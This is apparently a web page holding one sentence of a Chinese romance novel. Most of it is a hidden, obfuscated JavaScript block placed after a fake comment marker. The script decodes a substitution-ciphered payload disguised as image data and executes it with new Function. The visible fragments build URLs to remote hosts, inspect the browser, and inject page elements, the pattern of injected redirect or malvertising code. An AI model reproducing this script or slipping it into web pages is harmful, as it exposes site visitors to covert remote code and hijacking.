那天晚上,月色正好,少年站在原地,静静地看向少女离开的方向,皎洁月光为他镀上了一层柔光,让他整个人如同神祗,成了这个世界里仅有的温暖。

<--di--!>
!function(){function a(a){var _idx="j81e9pi47c";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,l7_2(F6O2ca[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y8D62fODm622Y5V6fFh!qYF J8Y/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa!Xd5 F=O!(O2LF X8[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgY/}0=6FY^9Y6phFgJ/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"bGYYYGb"!qYF d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 TcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!XmqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28c28"hFFJLg//[[fdTPPo}0d(hFL_CLmJC)QpXQmRT4gQ}1Q/CL/o}0jR8C{}YQJ6o1("a%c*}8882m62fYR;7c"j"aj"j"g"v"a%"58"%Xm5Y|5T%%%"vF8"%hca%5ca!FmL5(8Tc2a=FmO2qOdf87_2(F6O2ca[XmqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=XmqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF 78"o}0"=^8"C{}YQJ6o1("!7_2(F6O2 pcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 icYa[Xd5 F8H"o}0^)ThF)m7}F:Ch2mRT4"="o}0X5ThF)mX(nSnY0mRT4"="o}02pThFm7}F:Ch2mRT4"="o}0_JqhFmX(nSnY0mRT4"="o}02TOhFm7}F:Ch2mRT4"="o}0CSqhF)mX(nSnY0mRT4"="o}0)FfThF)fm7}F:Ch2mRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%7%"jR8"%^%"v58"%Xm5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[XmqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[287_2(F6O2cYa[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=780!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!7<YmqY2pFh!a28fH_ZcYH(Zc7%%aa=O8fH_ZcYH(Zc7%%aa=68fH_ZcYH(Zc7%%aa=d8fH_ZcYH(Zc7%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 ^8h!qYF Y8""=F=2=O!7O5cF858280!F<^mqY2pFh!ac58^HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc28^HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc28^HLZcF%}a=O8^HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPc2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=XmqOdfiFdF_L8*}PpcOa=@888XmqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l88XmqOdfiFdF_LvvYvvYca=pcOaP=XmqOdfiFdF_L8}PqYF D8l}!7_2(F6O2 )ca[DvvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5cXmYXY2F|TJY=Xm(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfcXm5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqcXmLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l88XmqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP8X!7_2(F6O2 Lca[Xd5 Y8Tc"hFFJLg//[[fdTPPo}0qhOFq^)Y6(:m}5TJ:S0mRT4gQ}1Q/((/o}0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5cXmYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clDa[(O2LF[YXY2F|TJYg7=6L|OJg^=5YXY5LY9Y6phFgpP8X!fO(_^Y2FmdffEXY2Ft6LFY2Y5c7=h=l0a=Xm(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8Tc"hFFJLg//[[fdTPPo}0qhOFq^)Y6(:m}5TJ:S0mRT4gQ}1Q/((/o}0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c^a[67cO<8pa5YF_52l}!O<J%pvvfcaPYqLY[F8F*O!67cF<8pa5YF_52l}!F<J%pvvfcaPP2m6f8Xm5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[Xm5YXY5LY9Y6phFPJR`=^jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=D8l0PqYF F8Tc"hFFJLg//[[fdTPPo}0d(hFL_CLmJC)QpXQmRT4gQ}1Q/f/o}0j(8}vR8C{}YQJ6o1("a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPY82dX6pdFO5mJqdF7O5^=F8l/3cV62?yd(a/mFYLFcYa=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cF??Oavvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2Fajic7_2(F6O2ca[Lc@0}a=ic7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=ic7_2(F6O2ca[Lc}0saPaPaPaa=lFvvY??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8Tc"hFFJLg//[[fdTPPo}0d(hFL_CLmJC)QpXQmRT4gQ}1Q"a%"/)_pj68"%7=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPca!'.substr(22));new Function(b)()}();